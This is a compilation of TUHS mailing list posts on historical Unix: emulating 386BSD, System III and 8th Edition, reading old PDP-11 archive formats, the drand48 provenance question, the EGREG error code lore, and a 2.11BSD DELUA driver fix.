I don't know if this is interesting to anyone, but I thought I'd share that
386BSD will install on Bochs (although slowly, and it's prone to crashing),
however once the first patchkit is installed, it'll then run on Qemu!
(0.11.0, it seems the new bios layout of 0.12 is incompatible)
If anyone is interested, here is a link to a hard disk image that I've
prepared for Qemu:
http://vpsland.superglobalmegacorp.com/install/386BSD/bsd386.qcow2.gz
I run it like this:
qemu.exe -L pc-bios -hda bsd386.qcow2 -M isapc -net nic -net user -no-reboot
-m 256
And I can run lynx/irc as a test of the TCP/IP.
At any rate, I figure this kind of brings 386BSD back out of it's grave.
Is anything likely to happen to the status of various historical
Unices? Is Novell likely to keep the Ancient Unix license intact or
are they likely to lock things back up? Is there any chance that
SysIII and early SysV might finally get opened up? Does anybody have
any ideas here?
Mike
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Hi, doesn't anybody know if there is a disk size limit on Unix 6? I wrote a
C program to create a file and it won't go above around 1.5Mb. It doesn't
crash or report any errors but the file size never exceeds around that size.
Maybe it's a disk size limitation?
Also, is it possible to add other devices? like using an ISO file perhaps.
Regards,
Andrew.
On Thu, Apr 8, 2010 at 7:40 PM, John Holden <johnh(a)psych.usyd.edu.au> wrote:
>
>> Well I found the ar specification (in ar.5 not ar.1).
>>
>> struct ar_hdr {
>> char ar_name[14];
>> long ar_date;
>> char ar_uid;
>> char ar_gid;
>> int ar_mode;
>> long ar_size;
>> };
>
> Endian should not be a problem on a Intel/AMD processor. More likely your C
> compiler is padding out the array for alignment. Try a '-fpack-struct' or
> more safely, read the elements individually rather than a structure.
>
In the PDP-11 long is 32 bits, int 16 bits. And the PDP-11 is
determinedly little-endian if you stick to integers.
They got floating-point software right in 1971, but somebody screwed
up the word order when building FP hardware, which led to the
middle-endian mess.
carl
--
carl lowenstein marine physical lab u.c. san diego
clowenstein(a)ucsd.edu
> Well I found the ar specification (in ar.5 not ar.1).
>
> struct ar_hdr {
> char ar_name[14];
> long ar_date;
> char ar_uid;
> char ar_gid;
> int ar_mode;
> long ar_size;
> };
Endian should not be a problem on a Intel/AMD processor. More likely your C
compiler is padding out the array for alignment. Try a '-fpack-struct' or
more safely, read the elements individually rather than a structure.
PS
To check, see what 'sizeof (struct ar_hdr_)' returns.
John
Bob Eager:
The 'ar' format of that vintage is trivial, and documentation easily
found. I wrote programs to read it back in 1976!
======
That's nothing. Either Ken or Dennis wrote such a program
years before that!
Warren even has a binary somewhere to prove it!
Seriously, it's a binary format, so I don't know that
it would be easy to process in awk. (At least not in
awk-classic; stuff that works only in ghootandwaveawk
is not all that interesting to me.) But the format is
simple, and any language new or old that can handle
binary data without tears should do.
If I didn't have an overfull plate already (and a
visit to the Auto-Electrocution Consultant tomorrow,
and one to the Canal Rooting Clinic Monday--proving
that one should follow Father's advice and Stay Away
>From The Canal, Neddie) it would be interesting to
collect the different specifications for ar headers
over the years, and write a small suite of programs
to read them. Perhaps in Python, just to be difficult.
(Why isn't there a language called Goon, Warren?)
Norman Wilson
Toronto ON
(owwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww)
On Thu, 8 Apr 2010, Michael Davidson wrote:
> Your modern compiler is almost certainly inserting two bytes of padding
> after ar_name[]
> so that the int32_t ar_date is aligned on a 4 byte boundary - that shifts
> everything else
> down by 2 bytes and means that ar_size lines up with the last 2 bytes of the
> size in
> the header which, as luck would have it, is the low order 16 bits of the
> size as it would
> have been stored in a 32 bit long.
>
> Something like this should work on a modern little endian processor"
>
> struct {
> char ar_name[14];
> int16_t ar_date_16_31;
> int16_t ar_date_00_15;
> char ar_uid;
> char ar_gid;
> uint16_t ar_mode;
> uint16_t ar_size_16_31;
> uint16_t ar_size_00_15;
> } ar_buf;
Thank you! That works for me! I can now get correct sizes, names, and
data. I will clean up my little ar extractor over the next few days and
share it.
I want to look in some .a files identified by file(1) as "old PDP-11
archive".
Anyone know what tool I can use on a modern *BSD or Linux system to
extract the files from an "old PDP-11" ar archive?
GNU ar complains "File format not recognized". ar tells me:
ar: supported targets: elf64-x86-64 elf32-i386 a.out-i386-netbsd
coff-i386 efi-app-ia32 elf64-little elf64-big elf32-little elf32-big
srec symbolsrec tekhex binary ihex netbsd-core
But I have no idea how to try different targets. The GNU ar manual page
doesn't tell me much.
Or how can I use modern pcc or gcc to compile old pre-ansi ar.c?
Any suggestions?
Now I found a simtools.zip via http://simh.trailing-edge.com/ which is
"a collection of tools for manipulating simulator file formats and for
cross-assembling code for the PDP-1, PDP-7, PDP-8, and PDP-11." But I am
not sure if this is related. On that note, any ideas how to extract
files from a ".tap" file used by simh? (For now I use view or strings to
look at it.)
Thanks,
Jeremy C. Reed
echo 'EhZ[h ^jjf0%%h[[Zc[Z_W$d[j%Xeeai%ZW[ced#]dk#f[d]k_d%' | \
tr '#-~' '\-.-{'
I forgot to mention that I had a friend help me out, and he got SYSIII
running on SIMH.......!
I don't know if there would be any interest in this... I don't have a good
layout of 'steps' as it was so... chained from 32v, and from within itself
as it can't boot from the tape..
But I can supply a working disk image to anyone that wants it... or should I
send it to Warren 1st, and he can send it to all the ancient/sysv licenses?
sorry if i'm not all that coherent.
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Several people have noticed that the web archive for the TUHS mailing list
had stopped at June 2009, which was when I migrated over to another box.
Looks like I had a perms problem, which should be now fixed, but this e-mail
is just to test that it is indeed fixed. Please ignore, and/or browse the
old mail at http://minnie.tuhs.org/pipermail/tuhs/ :-)
Cheers,
Warren
Is anything likely to happen to the status of various historical
Unices? Is Novell likely to keep the Ancient Unix license intact or
are they likely to lock things back up? Is there any chance that
SysIII and early SysV might finally get opened up? Does anybody have
any ideas here?
Mike
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
I was idly going through the 1999 Swartz memo
(http://www.groklaw.net/pdf/Swartz.pdf) wherein the source code of
RedHat 5.2 and UnixWare are compared for similarities. Most of those
are either bogus (just some #includes) or BSD-derived code. There is
one file which is concerning: drand48.c. The RedHat 5.2 file is very
similar to the UnixWare file, including headers and #ifdef's e.g.
/* @(#)drand48.c 2.2 */
/*LINTLIBRARY*/
/*
* drand48, etc. pseudo-random number generator
* This implementation assumes unsigned short integers of at least
* 16 bits, long integers of at least 32 bits, and ignores
* overflows on adding or multiplying two unsigned integers.
* Two's-complement representation is assumed in a few places.
* Some extra masking is done if unsigneds are exactly 16 bits
* or longs are exactly 32 bits, but so what?
* An assembly-language implementation would run significantly faster.
*/
#include <stdlib.h>
#ifndef HAVEFP
#define HAVEFP 1
#endif
As far as I can determine, drand48() arrived in SysVR1 and is defined
in the first SVID. It doesn't appear in SysIII, nor in the early BSDs.
Can anybody shed some light on drand48()? Could it have been written
elsewhere and made available e.g on a Usenix tape or comp.sources.*,
and included into SysV, or is SysV the origin of the code?
I'm sure the algorithm comes from elsewhere, e.g. Knuth, but the
strong code similarity is a worry.
Thanks,
Warren
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Hi,
has someone ever tried to grab the old BSD sources where TCP/IP showed up
first and tried to use them to implement TCP/IP support for an old SYSIII
UNIX (ZEUS comp.)?
I tried this but I got scared by so much things which would need to be
done, inter-process communication, pseudo terminal support are just the
"starting points" and at the end it is also the kinda old C compiler
which has problems with the BSD sources (#defs to long for the cpp for
example)...
Has someone experience with this kind of topic?
--
Oliver Lehmann
http://www.pofo.de/http://wishlist.ans-netz.de/
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
All, I've spent a bit of time re-writing my "Unix Tree" website, where
you can browse the source code trees and compare related files. The
file comparison now uses colour to show similar lines.
The initial version is at http://minnie.tuhs.org/cgi-bin/utree.pl
but I will probably move the URL at some point.
Have a look and see what you think. I would gladly accept suggestions on
better or more accurate descriptions for each of the releases, also checking
of dates and other information.
Cheers,
Warren
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Do repositories of MNOS and DEMOS operating system source
code or binaries exist? Do either of these run on simh
or other simulators? (were the PDP11 and VAX11 knockoffs
close enough matches to the originals?)
Tim Newsham | www.thenewsh.com/~newsham | thenewsh.blogspot.com
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Cool just downloaded it.... seems whoever put it together really liked
gzip... ;)
On Sun, Mar 7, 2010 at 7:26 PM, Warren Toomey <wkt(a)tuhs.org> wrote:
> http://minnie.tuhs.org/Z/demos.tar.gz
>
> Let me know when you got it.
> Warren
>
Yeah, that'd be great! I've heard it's v6 with lots of bsd.. But it'd be cool to look at it!
-- Sent from my Palm Prē
On Mar 7, 2010 7:23 PM, Warren Toomey <wkt(a)tuhs.org> wrote:
On Sun, Mar 07, 2010 at 07:06:28PM -0500, Jason Stevens wrote:
> Seems to not include full source... I haven't gotten SIMH to boot the thing,
> nor some of the... "interesting" Russian PDP-11 emulators.. I ran strings
> through the disks, and I got some basic header files, oddly all in English,
> but no kernel or system source code, just some Fortran example....
> I'll have to ask someone in Russia if they have any real solid leads on
> DEMOS... It seems that once the Soviet Union fell, everyone abandoned DEMOS
> for any of the BSD's...
I can put up a tarball of the stuff I have for you, if you want.
Warren
I hate to say it but the demos stuff I found here
http://pdp-11.ru/mybk/pdp11/DEMOS.RAR
Seems to not include full source... I haven't gotten SIMH to boot the thing,
nor some of the... "interesting" Russian PDP-11 emulators.. I ran strings
through the disks, and I got some basic header files, oddly all in English,
but no kernel or system source code, just some Fortran example....
I'll have to ask someone in Russia if they have any real solid leads on
DEMOS... It seems that once the Soviet Union fell, everyone abandoned DEMOS
for any of the BSD's...
On Sun, Mar 7, 2010 at 5:00 PM, Warren Toomey <wkt(a)tuhs.org> wrote:
> On Sun, Mar 07, 2010 at 12:17:26PM -0500, Jason Stevens wrote:
> > I found some disk images online that say it's for the PDP-11 version...
> let
> > me see what I can pull from them for you.
> > The UWISC stuff is here:
> > http://minnie.tuhs.org/Archive/4BSD/Distributions/thirdparty/UWisc4.3/
>
> Thanks Jason!
> Warren
>
I found some disk images online that say it's for the PDP-11 version... let
me see what I can pull from them for you.
The UWISC stuff is here:
http://minnie.tuhs.org/Archive/4BSD/Distributions/thirdparty/UWisc4.3/
<http://minnie.tuhs.org/Archive/4BSD/Distributions/thirdparty/UWisc4.3/>
On Sun, Mar 7, 2010 at 8:47 AM, Warren Toomey <wkt(a)tuhs.org> wrote:
> On Sat, Mar 06, 2010 at 09:30:42PM -0500, Jason Stevens wrote:
> > I'd probably ask about that 4.3 Uwisc the wisconson one with the SUN NFS
> > stuff... and maybe the soviet DEMOS stuff...?
>
> Do you have the demos stuff? I have a pile of files, but it's all a jumble.
> If you have it, could you sit down a create a sensible tree of text-only
> files (i.e. no binary files) which I could add to the Unix Tree?
>
> I'll see if I have 4.3 Uwisc here too.
>
> Thanks,
> Warren
>
Hi, all!
Once, I was dismantling very old very long dead rusty box, which once
ran some version of SCO UNIX.
And I've got a strange device I've seen nowhere else - floppy-attached
tape drive, labelled Irwin, model 285. Drive looks
OK visually, motor wiring is perfect, so I can't see why it won't work.
I tried to make it run with old and new versions of Linux, but failed.
Do anybody have any documentation
regarding this?
Also - how wide these devices were used? I've never met one before
while I can't say I have little IT experience.
All the best,
S.
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
I don't know where the Groklaw posting came from,
but the info is garbled in two ways:
1. It's not E_GREG, any more than it was ever E_NXIO
or E_IO or E_ACCES. It's EGREG.
2. The associated message is not and never was Greg
did it but It's all Greg's fault.
The Greg in question is indeed Greg Chesson; the saying
was part of the culture when I arrived in 1127 in 1984.
I knew the story once but have forgotten.
EGREG was put into the system initially half as a joke,
half as a spare error code for debugging kernel code.
Then, as I vaguely recall, Andrew Hume started using it
for real in his WORM-device driver, rather than inventing
a new code if he really needed it. This is how software
grows and why it must be pruned, or even razed to the
ground, now and then.
The phrase It's all so-and-so's fault, and variations
on that theme, appeared now and then in other ways in
the culture. My favourite was when Tom Duff augmented
the simple code (just a shell script, I think) that
sent printer-status warnings to the UNIX Room voice
synthesizer so that it didn't just say Please add paper,
it said Please add paper, dammit t d (if the current job
was td's). Except that for a while, for reasons that
now escape me, it was deliberatly changed to say dammit
andrew (Hume) no matter who's stuff was printing. It
took a week or two before Andrew noticed.
It was a kindergarten there, but a fun and productive one.
I don't miss living in northern New Jersey (which is why
I left the group in 1990) but I do miss the group as it
then was, and no longer is nor ever again shall be.
Norman Wilson
Toronto ON
(Actually typing this whilst sitting
somewhere northeast of Emeryville CA)
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
I just saw this on Groklaw:
There were not many machines which ran Version 10. They were all
at Murray Hill and some of them were donated to Auburn University
when AT&T closed up shop. We got some old MicroVAX machines and
a couple of printed manuals. One of the printed manuals lists
various error codes. One of them is
E_GREG Greg did it.
Poor Greg. who was he, really?
Anybody know the answer? Norman?
P.S Merry Xmas to all.
Cheers,
Warren
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
xtp(a)google.com
Bcc:
Subject: Re: [TUHS] E_GREG ??
Reply-To:
In-Reply-To: <06978479-C120-40CF-8878-BE15EFE01B76(a)coraid.com>
Hey, I know and like Greg. I used to work for him. I've cc-ed him on this,
he may not know about this list. And might enjoy it.
On Tue, Jan 12, 2010 at 10:07:19PM -0500, Brantley Coile wrote:
> Greg Chesson. He designed the uucp g protocol. There was a piece of
> networking gear at Murray hill that Greg worked on that every now and
> then would fail to connect. Someone modified the message to read "it's
> all Greg's fault.". Later the string became an errno, I think for the
> Netb file server protocol. Plan 9 still has an EGREG even though it is a
> string in plan 9. It now reads "Ken has left the building."
>
> iPhone email
>
> On Dec 15, 2009, at 7:02 PM, Warren Toomey <wkt(a)tuhs.org> wrote:
>
>> I just saw this on Groklaw:
>>
>> There were not many machines which ran Version 10. They were all
>> at Murray Hill and some of them were donated to Auburn University
>> when AT&T closed up shop. We got some old MicroVAX machines and
>> a couple of printed manuals. One of the printed manuals lists
>> various error codes. One of them is
>>
>> E_GREG Greg did it.
>>
>> Poor Greg. who was he, really?
>>
>> Anybody know the answer? Norman?
>>
>> P.S Merry Xmas to all.
>> Cheers,
>> Warren
>> _______________________________________________
>> TUHS mailing list
>> TUHS(a)minnie.tuhs.org
>> https://minnie.tuhs.org/mailman/listinfo/tuhs
>>
> _______________________________________________
> TUHS mailing list
> TUHS(a)minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs
--
---
Larry McVoy lm at bitmover.comhttp://www.bitkeeper.com
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Tim Newsham:
Does anyone know if emulators are capable of running 8th ed
unix or later? What about emulation of the bitblit?
========
Who knows what blitjerq lurks in the hearts of men?
Seriously, an emulator with appropriate CPU settings should
be able to run latter-day Research UNIX without much trouble.
8/e would need a VAX-11/780 or 750; 10/e would work on a
VAX 8550 or 8700 (only one CPU, though) or a MicroVAX II
or III. I forget just when the MicroVAX work was first
done (by Ted Kowalski, who in an earlier day wrote fsck),
so I'm not sure at what point in the 9/e era it appeared;
but since 8/e was the last really organized tape we made,
it doesn't really matter.
As others have pointed out, the blit/jerq code didn't
run on the VAX, but in a separate terminal. For that
you'd need an emulator for the MC68000 or the WE32100.
By the time the 8/e tape was cut, the 68K-based Blits
had pretty much been retired; I'm not sure that code
would be as interesting to resurrect as that for the
WE32100-based Teletype 5620 DMD. Of course you'd
also have to emulate all the I/O devices, including
the decidedly-non-PS/2 keyboard and mouse.
I don't remember for sure any more (maybe Dennis does),
but the jerq code may have been on a separate tape
because the special C compiler for that CPU chip wasn't
easily redistributed--it came from the commercial side
of AT&T, not the research part.
Norman Wilson
Toronto ON
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Does anyone know if emulators are capable of running 8th ed
unix or later? What about emulation of the bitblit?
Do the few lucky people who have a copy of these run them
in emulation?
Tim Newsham | www.thenewsh.com/~newsham | thenewsh.blogspot.com
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
before I do some code spelunking, does anyone here know the history of
termios? I've been doing some serial programming recently and wondering
how things got to the way they are... why is VTIME an inter-character
timer instead of a timer for an entire VMIN block, for instance?
--
Aaron J. Grier | "Not your ordinary poofy goof." | agrier(a)poofygoof.com
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
I was going to upload the various man pages of 32/V so I'd have a 'nice'
collection of them, and to help with my eventual conversion of the help text
into RTF for a windows helpfile when I was reading through the number
command...
http://gunkies.org/wiki/32v_1m_number
Number copies the standard input to the standard output, changing each
> decimal number to a fully spelled out version. Punctuation is added to make
> the output sound well when played through speak(1).
So it seems that VAX's could do audio at some point? Does anyone know how
it worked? Naturally the speak command seems to be missing, but it does
seem very interesting...!
I wonder if this was the start of the UNIX/IVR relationship....?
Thanks!
Jason
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Dear All,
I have a number of old Unix™ ½ inch reel to reel tapes. I would dearly love to transfer
the contents, if readable, to a more modern medium. If anyone has the facility to do this
please contact me. I'm located in the United Kingdom.
They are 800 or 1600 BPI, 9 track and, I suspect, NRZI encoded. They should be compatible
with DEC reel-to-reel drives, probably most others.
They contain various PDP/LSI-11 versions of AT&T Bell Research Laboratories UNIX™
Edition 6 and 7. The Bell tapes (1, 2 and 3) are for PDP-11/45 with other drivers.
The EUUG (European Unix Users Group) tape has kernels for various LSI-11 models
including LSI-11/23. It also contains a large number of contributed utilities.
There is more info at http://www.andycowley.com/Unix/tapes.html
best
Andy Cowley
This email was independently scanned for viruses by McAfee anti-virus software and none were found
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Only curious,
FWIW, the mailing list archives have not been updated since June 09. Is
this a bug or a feature?
j
--
EMBnet/CNB
Scientific Computing Service
Solving all your computer needs for Scientific
Research.
http://bioportal.cnb.csic.eshttp://www.es.embnet.org
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
ZCZC
SPREAD THIS TO EVERYONE YOU KNOW! :)
The Freaknet and Dyne.org hackers are delighted to invite you to a Poetry
Hacklab on-site and on-line event:
TROPPO CAFFE' POCO CERVELLO 9
=============================
2nd, 3rd, 4th (Friday, Saturday, Sunday) October 2009, Palazzolo Acreide,
at the misterious center "Lisbeth Salander"
in the Palazzolo Acreide countryside
http://dyne.org/tcpc
Italian version: http://poetry.freaknet.org/static/tcpc9
What is it?
===========
It's Poetry! It's Art, IT'S DELIRIUM!
IT'S ALL AND NOTHING, YIN AND YANG,
GOPHER and ARCHIE!
Now at the 9th edition, the "Troppo Caffe' Poco Cervello" (too much coffee,
too less brain) it's a cultural and scientific happening that lasts three
days where people from all the World (and beyond) are meeting in Palazzolo
Acreide and via the Internet to share experiences, research, culture,
poetry, art and science with the intention to create new and beautiful
things to donate to the community.
This edition will have people from all Sicily and also foreign guests
committed in advanced programming sessions, dissertations for beginners,
scientific experiments, sumptuous lunches, enormous dinners and sleepless
nights dedicated to the passion for computer science.
Poems will be read, poems will be written, all and nothing will be
discussed, weeds will be weeded, new weeds will be planted, debates will be
happen, decisions will be taken, all and nothing will be done!
Everyone can join, the important thing is to leave the brain at home and
bring a lot of coffee!
What will be done
=================
We will do a lot of BEAUTIFUL and USELESS things:
Radio link
----------
It's the first step to the world domination. The installation and the
configuration of an amateur radio link WI-FI which will give raise to
discussion about wireless technology, its use and some tricks (Netsukuku,
OLSR, Fonera, hardware modifications, dd-wrt etc) by Asbesto IW9HGS and
other radioamateurs possibly there. The distance that will be covered is
6.9Km :).
MuSE
----
A group of programmers from the Freaknet and Poetry Hacklab will establish a
on-line connection with dyne.org developers and follow this "code sprint"
plan:
http://lab.dyne.org/MuSE/SprintOct09
We want to develop a new version of MuSE streamer, a free application to
make your own on-line radio and your voice heard all around the world,
broadcasting audio files and live microphone all mixed in real time.
(http://muse.dyne.org)
Join us writing code or help translate the manual!
Other activities
----------------
Artistic performances, strolls in the surroundings or anything you want
could happen spontaneously; everything will be managed by the same people
who could throw off activities, keeping in mind we should not disrupt the
ANY the focus on the main activities described above.
Everyone is invited!
Logistics
=========
How nice is to be seated on chairs!
Food
----
Breakfast, lunch and dinner are completely self-managed so you're invited to
bring food and drinks and share them with everyone!
Lodging
-------
If anyone needs to sleep... there are two beds which we will assign to the
sleep of the weaks, you can sleep in a tent, so if you want to do so bring
your own TENT! Hopefully another space will be available. You will need to
adapt yourself to it because the objective is not to sleep! :) (obviously
special neeeds of resting/lodging will be satified, so don't worry, we won't
let you sleep on straw... maybe!)
Donations
---------
If you want to contribute money, you are very welcome to do so, via Paypal
or even via bank wire-transfer. We have a clear plan for it: we hope we will
gather some funds spreading this event and collect them to be invested in
more software development on MuSE.
This software is very important! a lot of people can use it completely for
free to do radio, it is the way we can make free speech happen.
But we have no money to continue development, which was stopped for more
than 3 years now, so please donate some money! and you'll help us all
provide concrete results and useful tools to all our communities.
The plan is: we will develop a lot during TCPC9, package the application for
existing distributions and update it to be stable and to use latest
libraries. After the TCPC9 we will see what we've reached and what is still
left to do, then we will put out tasks and money offers out of the money
collected from your donations, so that more developers can get involved and
help us finish the work.
This is the first time we try to do this so pleaase don't leave us alone!
spare some money NOW and you'll get QUALITY FREE SOFTWARE soon!
Link for donations:
http://poetry.freaknet.org/index.php/Troppocaffepococervello9#Donazioni
or directly from http://dyne.org/tcpc !!!
JOIN us ON-SITE
===============
We will meet on Friday 2nd October 2009 in Palazzolo Acreide, at Poetry
Hackab or directly to the tcpc location! To get there follow this map:
http://poetry.freaknet.org/index.php/File:Screenshot1.png
Follow SS2287 to Palazzolo Acreide, 2km before the start of the village
there is a crossroad to Solarino/Ferla on the right handside, so turn right
and follow SS124. Keep going until you see a small red house on your right,
then take immediately the small street next to the house on the right and
keep going until you get to the place. You will hear tearing noises and
inhuman shouts; you will see half-naked cavemen fighting against hardawre
and software around the fire of the Alchemic Furnace: you got there!
To reach Palazzolo Acreide from Catania with bus:
http://www.aziendasicilianatrasporti.it/
Once you are in Palazzolo and you don't know how to reach us, just call
someone: MAYBE we will fetch you. Who knows!
JOIN us ON-LINE
===============
For more information contact us or call +39 931-1-845-849
Internet Relay Chat:irc.dyne.org
(SSL only, port 9999) channel #dyne and #TCPC
REMEMBER, BRING THE COFFEE, AND LEAVE THE BRAIN AT HOME!
NNNN
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
I found this site the other day, and I thought it may be of interest to
everyone..
http://www.flashterm.com/
It's a telnet client that runs in the flash runtime. I know with the
proliferation of flash (and the odd removal of it in Vista machines) this
could be a neat way to get people to 'try out' ancient unix...
coupled with SIMH it looks like something interesting, esp as it seems all
the java clients are not free.. well at least the ones I've found.
Anyways, if anyone is interested to see it in action on a simulated VAX I've
set one up here:
http://75.127.119.16/telnet/
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
For 4.4BSD files, if no copyright and license is listed for specific
files, does the standard UCB license apply? Is there any file or statement
that says the license covers all files which don't have a specific license
in 4.4BSD-Lite ?
Any RCS commit history for old CSRG code?
I am looking for the authors/history/copyrights for BSD
share/mk/files.
I see that 4.4BSD-Alpha has:
r--r--r-- 3/7 792 Aug 26 05:00 1992 usr/share/mk/bsd.doc.mk
r--r--r-- 3/7 3761 Aug 26 05:00 1992 usr/share/mk/bsd.lib.mk
r--r--r-- 3/7 1574 Aug 26 05:00 1992 usr/share/mk/bsd.man.mk
r--r--r-- 3/7 4140 Aug 26 05:00 1992 usr/share/mk/bsd.prog.mk
r--r--r-- 3/7 1244 Aug 26 05:00 1992 usr/share/mk/bsd.subdir.mk
r--r--r-- 3/7 1387 Aug 26 05:00 1992 usr/share/mk/sys.mk
but missing the bsd.README
I couldn't find these in the other old 4 and 3BSDs (via the tuhs
archive).
The share/mk/bsd.README from NetBSD import in 1993 has:
# @(#)bsd.README 5.1 (Berkeley) 5/11/90
And sys.mk has:
# @(#)sys.mk 5.11 (Berkeley) 3/13/91
And bsd.doc.mk:
# @(#)bsd.doc.mk 5.3 (Berkeley) 1/2/91
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
I found and patched an error in the network driver for UNIBUS ethernet
controllers
DEUNA/DELUA in 2.11BSD for PDP-11.
Error reproduction:
--------------------------
Build 2.11 BSD with ethernet/TCP/IP support over DEUNA/DELUA controller.
Configure the network.
Boot up 2.11 BSD, switch to multiuser mode.
Wait for 15 Minutes, until all ARP caches in the system are aged out.
Try to ping the PDP-11 from a network node, which is NOT listed anywhere
in the
PDP-11's network configuration files. Ping will fail.
Important: since arp requests are also arp responses, do not ping the
test node from your
PDP-11. The test node may not be contacted by the PDP-11!
Before testing, verify on the test node that the PDP-11 is unkown. The
command "arp -a" must not display the PDP-11 yet.
You can clean the test node's arp cache by executing "arp -d *".
This can also be reproduced in SimH,
for example with the installation downloadable at
/www.ak6dn.com/PDP-11/2.11BSD/
Error explanation:
--------------------
The DEUNA/DELUA does not answer ARP requests, so other network nodes
can not get the PDP-11's ethernet MACID and can not send anything to it.
The DEUNA/DELUA does not answer ARP because it does not receive ethernet
broadcast packets
(those addressed to MACID FF:FF:FF:FF:FF:FF).
And it is not receiving broadcasts, because the DELUA driver in
/sys/pdpif/if_de.c
did not set up the DELUA's packet filter to receive FF:FF:FF:FF:FF:FF.
Error patch
---------------
In /sys/pdpif/if_de.c , the DEUNA/DELUA must be programmed to receive
ethernet broadcast pakets.
The good way would be to explicitly add MACID FF:FF:FF:FF:FF:FF to the
filter.
The fast and dirty way was to program the DELUA to receive ALL multicasts,
by setting one more bit in the mode register:
In /sys/pdpif/if_de.c, change line
ds->ds_pcbb.pcbb2 = MOD_TPAD|MOD_HDX;
into
ds->ds_pcbb.pcbb2 = MOD_TPAD|MOD_HDX|MOD_ENAL;
Status
-----------------------------
This is a major bug, as it prevents the PDP-11 under 2.11BSD to run as a
server.
It's hard to believe that it is still there.
In the typical quick "boot up and ping someone" test, it is almost
invisible.
The bug is not present in the DELQA driver "if_qe.c".
I did posted already to alt.sys.pdp11 newsgroup.
The error has been acknowledeged by one other user.
In the BSD patch archive, this bug seems not to be addressed.
regards
Joerg Hoppe
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Hi All. A while back Tim wrote:
> Date: Mon, 3 Aug 2009 09:25:00 -1000 (HST)
> From: Tim Newsham <newsham(a)lava.net>
> To: tuhs(a)minnie.tuhs.org
> Cc: Uriel <uriel99(a)gmail.com>
> Subject: [TUHS] 8th ed manual sets
>
> This might be of interest to people on this list (originally
> posted to the 9fans list):
>
> On Sat, 1 Aug 2009, Uriel wrote:
> > Thanks to Fish's contribution I have made the Unix 8th Edition manuals
> > available at:
> >
> > http://man.cat-v.org/unix_8th/
> >
> > [ ... ]
I asked about a tarball on 9fans, and got this reply to the list, which
I'm forwarding here:
| From: 0intro(a)gmail.com (David du Colombier)
| Subject: Re: [9fans] off topic: manual sets
| Date: Tue, 4 Aug 2009 22:25:28 GMT
|
| > Is a tarball of the 8th ed manual troff files available?
| >
| > The Unix Historical Society (see www.tuhs.org) would like to have this
| > too, I don't doubt.
|
| I temporary put it online [1]. Feel free to mirror it.
|
| I obtained this stuff from an generous anonymous
| donor few years ago.
|
| I thought it would be better to share it.
|
| [1] http://www.9grid.fr/man.tar.bz2
|
| --
| David du Colombier
I sent Warren a copy of the tarball. If I can steal the hour, I
may try to create a PDF, just for the fun of trying. Feel free to
beat me to it. :-)
Thanks,
Arnold
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
Hi all!
Just curious, has anyone here managed to get 4.1cBSD (or any 4.1 for that matter) running under SIMH or any other hardware or software?
How does one prepare a SIMH-format distribution tape from a collection of files? I haven't found a whole lot of information on the subject, and I imagine it'd be fairly difficult to make a root dump without a pre-existing system...
Many thanks to all in advance!
_______________________________________________
TUHS mailing list
TUHS(a)minnie.tuhs.org
https://minnie.tuhs.org/mailman/listinfo/tuhs
This might be of interest to people on this list (originally
posted to the 9fans list):
On Sat, 1 Aug 2009, Uriel wrote:
> Thanks to Fish's contribution I have made the Unix 8th Edition manuals
> available at:
>
> http://man.cat-v.org/unix_8th/
>
> Tons of fascinating stuff there, including the jerq docs in section 9
> ( http://man.cat-v.org/unix_8th/9/ ) and what I think is the oldest
> documentation of the /proc file system
> (http://man.cat-v.org/unix_8th/4/proc ).
>
> Fish also contributed some pages from section 1 of the Unix Writer's
> Workbench: http://man.cat-v.org/unix_WWB/1/
>
> Thanks again to Fish for this wonderful contributions, and of course
> to the original authors of all this amazing material.
>
> Peace
>
> uriel
>
> P.S.: I'm still working out a couple of kinks in the web interface
> that make =(1) and Mail(1) inaccessible, but almost everything else
> should work fine, if you notice any problems please let me know.
>
